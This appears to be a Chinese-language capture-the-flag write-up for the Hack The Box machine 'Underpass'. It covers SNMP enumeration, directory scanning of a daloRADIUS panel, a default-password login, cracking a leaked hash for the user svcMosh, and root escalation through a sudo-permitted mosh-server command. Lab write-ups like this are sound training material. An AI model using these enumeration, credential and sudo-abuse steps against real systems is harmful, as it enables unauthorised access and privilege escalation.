HTB-Underpass

信息收集

nmap

nmap --min-rate 10000 -A 10.10.11.48

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)

22 / 80端口
访问80端口，是Apache2网站的初始界面

想其他方面的信息

nmap UDP端口扫描

nmap -sU -p 161 --script "snmp*" 10.10.11.48

• --script "snmp*"：使用nmap自带的snmp脚本

snmp-info：基本信息枚举（推荐）
snmp-processes：列出运行进程
snmp-interfaces：列出网络接口
snmp-win32-services：Windows 系统服务信息
snmp-win32-shares：Windows 共享枚举
snmp-brute：暴力破解社区字符串

PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 16h52m54.74s (6077474 timeticks)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 31
|_  snmpEngineTime: 16h52m42s
| snmp-brute: 
|_  public - Valid credentials

161 -> snmp服务

snmp-check

snmp-check -c public 10.10.11.48

steve用户 daloradius服务
daloradius服务：是一个基于 Web 的 RADIUS 认证管理工具，用于管理和监控 RADIUS 服务器，RADIUS（远程身份验证拨号用户服务）通常用于集中化的用户认证、授权和计费，广泛应用于网络设备（如 VPN、无线接入点）和其他基于网络的认证服务。

daloRADIUS - feroxbuster 目录扫描

feroxbuster -u http://10.10.11.48/daloradius/

得到了这个 users -> 登录框
http://10.10.11.48/daloradius/app/users ->  http://10.10.11.48/daloradius/app/users/login.php
弱口令 -> administrator/radius

发现提示密码错误
再继续目录扫描时，发现一个 operators 目录

dirsearch -u "http://underpass.htb/daloradius/app/" -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

http://10.10.11.48/daloradius/app/operators/ -> http://10.10.11.48/daloradius/app/operators/login.php
又是一个登录框 -> 尝试弱口令 -> 成功进入后台

合理了 -> operators才是管理员的后台

svcMosh : 412DD4759978ACFCC81DEAB01B382403

这密码一看就是经过加密的 尝试哈希爆破

svcMosh : underwaterfriends

https://crackstation.net/

ssh - svcMosh

ssh [email protected]

获取user.txt

privilege

信息收集 -> 测试常用的寻找提权手段的命令
sudo -l # /usr/bin/mosh-server -> 可以无密码以root权限执行

了解该命令手册 -> 寻找有用的参数
了解到了 mosh(客户端) mosh-server(服务端) -> 就像是ssh一样 可以进行远程连接
--server

连接至本地，刚好mosh-server以root身份执行无需密码

mosh --server="sudo /usr/bin/mosh-server" localhost

当TCP扫描之后 -> 无头绪 -> 要想其他协议的扫描 -> 了解了UDP扫描
UDP -> SNMP服务 -> daloradius服务 -> 回到了WEB网站
此时有了服务 -> 结合服务 Google -> 寻找到信息泄露 -> 后台 默认密码 -> Getshell

对于特殊命令( 无密码以root权限执行 ) -> 学习该命令 -> 分析参数 -> 提权